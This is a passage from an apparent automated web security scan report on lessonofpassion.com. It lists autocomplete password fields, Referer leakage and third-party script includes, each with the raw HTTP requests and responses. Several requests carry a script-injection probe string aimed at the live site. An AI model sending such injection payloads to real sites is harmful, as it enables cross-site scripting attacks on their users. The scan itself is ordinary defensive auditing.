Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:00:42 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5744
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<br />
<FORM METHOD=POST action="user.php?type=login"><INPUT TYPE="hidden" NAME="type" VALUE="login">
...[SNIP]...
</B> <INPUT TYPE="password" NAME="password" SIZE=14 class="form2">&nbsp;
<input name="imageField" type="image" src="but_login.png" border="0" align = "absmiddle">
...[SNIP]...

5.2. http://www.lessonofpassion.com/games_dev.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_dev.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /games_dev.php HTTP/1.1
Host: www.lessonofpassion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:12:13 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 11695


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<br />
<FORM METHOD=POST action="user.php?type=login"><INPUT TYPE="hidden" NAME="type" VALUE="login">
...[SNIP]...
</B> <INPUT TYPE="password" NAME="password" SIZE=14 class="form2">&nbsp;
<input name="imageField" type="image" src="but_login.png" border="0" align = "absmiddle">
...[SNIP]...

5.3. http://www.lessonofpassion.com/lop_games.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /lop_games.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /lop_games.php?mygame=Gilligans%20Long%20Island HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:53:33 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 9290
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<br />
<FORM METHOD=POST action="user.php?type=login"><INPUT TYPE="hidden" NAME="type" VALUE="login">
...[SNIP]...
</B> <INPUT TYPE="password" NAME="password" SIZE=14 class="form2">&nbsp;
<input name="imageField" type="image" src="but_login.png" border="0" align = "absmiddle">
...[SNIP]...

5.4. http://www.lessonofpassion.com/user.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /user.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

POST /user.php?type=login HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/lop_games.php?mygame=Gilligans%20Long%20Island
Content-Length: 61
Cache-Control: max-age=0
Origin: http://www.lessonofpassion.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmb=219032324; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

type=login&username=&password=&imageField.x=32&imageField.y=6

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:57:30 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5340
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<br />
<FORM METHOD=POST action="user.php?type=login"><INPUT TYPE="hidden" NAME="type" VALUE="login">
...[SNIP]...
</B> <INPUT TYPE="password" NAME="password" SIZE=14 class="form2">&nbsp;
<input name="imageField" type="image" src="but_login.png" border="0" align = "absmiddle">
...[SNIP]...

6. Cross-domain Referer leakage  previous  next
There are 8 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


6.1. http://www.lessonofpassion.com/games_category.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/script%3E HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:00:42 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5744
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<br />

<a href="http://www.playforceone.com" target = "_blank">Play Force One</a><br />


<a href="http://www.sexizu.com" target = "_blank">Sexizu</a>
...[SNIP]...
<center>
<a href="http://www.sextronix.com/hit/144/110138/1/1/default/" target = "_blank"><img src="lopsalesforce/vert_3dbg.jpg" border="0">
...[SNIP]...
</span>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6.2. http://www.lessonofpassion.com/games_category.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/script%3E HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:00:40 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=e41c29e414a494437d8903071ef44b03; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5319
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<br />

<a href="http://www.playforceone.com" target = "_blank">Play Force One</a><br />


<a href="http://www.sexizu.com" target = "_blank">Sexizu</a>
...[SNIP]...
<center>
<a href="http://outcastacademy.com/index.php?targeo=lopvert" target = "_blank"><img src="lopsalesforce/outcastacademy_vert_160x600.jpg" border="0">
...[SNIP]...
</div>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6.3. http://www.lessonofpassion.com/lop_games.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /lop_games.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /lop_games.php?mygame=Gilligans%20Long%20Island HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:53:32 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 8785
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<br />

<a href="http://www.playforceone.com" target = "_blank">Play Force One</a><br />


<a href="http://www.sexizu.com" target = "_blank">Sexizu</a>
...[SNIP]...
<center>
<a href="http://www.3dgirlfriends.com/?t=110138,1,53,0" target = "_blank"><img src="lopsalesforce/vert_3dgf.jpg" border="0">
...[SNIP]...
<div class = "panorama">
<a href="http://www.facebook.com/sharer.php?u=http://lessonofpassion.com/lop_games.php?mygame=Gilligans Long Island&t=Gilligans Long Island - Lesson of Passion"><img src="sharefb.png" border ="0"/>
...[SNIP]...
<br />
<a href="http://refer.ccbill.com/cgi-bin/clicks.cgi?CA=929606-0000&PA=1892332" target = "_blank"><img src="http://playforceone.com/salesforce/games_hungirly_02.jpg" border="0" width="170" height="159"></a>&nbsp;
<a href="http://tori500.lessonofpassion.com" target = "_blank"><img src="http://playforceone.com/salesforce/games_tori500_02.jpg" border="0" width="170" height="159"></a>&nbsp;
<a href="http://www.adult-empire.com/rs.php?site_id=7625&wm_id=6818" target = "_blank"><img src="http://playforceone.com/salesforce/gamez_terra_01.jpg" border="0" width="170" height="159"></a>&nbsp;
<a href="http://www.3dgirlfriends.com/?t=110138,1,53,0" target = "_blank"><img src="http://playforceone.com/salesforce/game_3dgf_06.jpg" border="0" width="170" height="159"></a>
...[SNIP]...
</div>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6.4. http://www.lessonofpassion.com/lop_games.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /lop_games.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /lop_games.php?mygame=Gilligans%20Long%20Island HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:53:33 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 9290
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<br />

<a href="http://www.playforceone.com" target = "_blank">Play Force One</a><br />


<a href="http://www.sexizu.com" target = "_blank">Sexizu</a>
...[SNIP]...
<center>
<a href="http://outcastacademy.com/index.php?targeo=lopvert" target = "_blank"><img src="lopsalesforce/outcastacademy_vert_160x600.jpg" border="0">
...[SNIP]...
<div class = "panorama">
<a href="http://www.facebook.com/sharer.php?u=http://lessonofpassion.com/lop_games.php?mygame=Gilligans Long Island&t=Gilligans Long Island - Lesson of Passion"><img src="sharefb.png" border ="0"/>
...[SNIP]...
<br />
<a href="http://outcastacademy.com/index.php?targeo=pf1" target = "_blank"><img src="http://playforceone.com/salesforce/games_outcast_03.jpg" border="0" width="170" height="159"></a>&nbsp;
<a href="http://www.flashforadults.com/?t=110138,1,66,0" target = "_blank"><img src="http://playforceone.com/salesforce/games_ffa_06.jpg" border="0" width="170" height="159"></a>&nbsp;
<a href="http://webmaster.utherverse.com/Public/Incoming.aspx?id=533&ca=823&ad=348" target = "_blank"><img src="http://playforceone.com/salesforce/games_red_02.jpg" border="0" width="170" height="159"></a>&nbsp;
<a href="http://affiliates.thrixxx.com/scripts/connect.php?bid=0&ccb=2001057&int=INT-EN-0000" target = "_blank"><img src="http://playforceone.com/salesforce/games_sexvilla_06.jpg" border="0" width="170" height="159"></a>
...[SNIP]...
</span>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6.5. http://www.lessonofpassion.com/user.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /user.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /user.php?type=register HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/lop_games.php?mygame=Gilligans%20Long%20Island
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmb=219032324; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:57:33 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 15120
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<br />

<a href="http://www.playforceone.com" target = "_blank">Play Force One</a><br />


<a href="http://www.sexizu.com" target = "_blank">Sexizu</a>
...[SNIP]...
<center>
<a href="http://www.3dadultcomics.com/?t=110138,1,4,1" target = "_blank"><img src="lopsalesforce/vert_3dac.jpg" border="0">
...[SNIP]...
</div>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6.6. http://www.lessonofpassion.com/user.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /user.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

POST /user.php?type=login HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/lop_games.php?mygame=Gilligans%20Long%20Island
Content-Length: 61
Cache-Control: max-age=0
Origin: http://www.lessonofpassion.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmb=219032324; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

type=login&username=&password=&imageField.x=32&imageField.y=7

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:57:30 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5317
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<br />

<a href="http://www.playforceone.com" target = "_blank">Play Force One</a><br />


<a href="http://www.sexizu.com" target = "_blank">Sexizu</a>
...[SNIP]...
<center>
<a href="http://www.flashforadults.com/?t=110138,1,66,0" target = "_blank"><img src="lopsalesforce/vert_ffa.jpg" border="0">
...[SNIP]...
</div>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6.7. http://www.lessonofpassion.com/user.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /user.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /user.php?type=register HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/user.php?type=register
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=219032324

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:57:35 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 15121
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<br />

<a href="http://www.playforceone.com" target = "_blank">Play Force One</a><br />


<a href="http://www.sexizu.com" target = "_blank">Sexizu</a>
...[SNIP]...
<center>
<a href="http://www.3dgirlfriends.com/?t=110138,1,53,0" target = "_blank"><img src="lopsalesforce/vert_3dgf.jpg" border="0">
...[SNIP]...
</div>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

6.8. http://www.lessonofpassion.com/user.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /user.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

POST /user.php?type=login HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/lop_games.php?mygame=Gilligans%20Long%20Island
Content-Length: 61
Cache-Control: max-age=0
Origin: http://www.lessonofpassion.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmb=219032324; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

type=login&username=&password=&imageField.x=32&imageField.y=6

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:57:30 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5340
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<br />

<a href="http://www.playforceone.com" target = "_blank">Play Force One</a><br />


<a href="http://www.sexizu.com" target = "_blank">Sexizu</a>
...[SNIP]...
<center>
<a href="http://outcastacademy.com/index.php?targeo=lopvert" target = "_blank"><img src="lopsalesforce/outcastacademy_vert_160x600.jpg" border="0">
...[SNIP]...
</div>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

7. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


7.1. http://www.lessonofpassion.com/games_category.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_category.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /games_category.php?type=category&category=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000146)%3C/script%3E HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:00:42 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5744
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
</span>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

7.2. http://www.lessonofpassion.com/games_dev.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /games_dev.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /games_dev.php HTTP/1.1
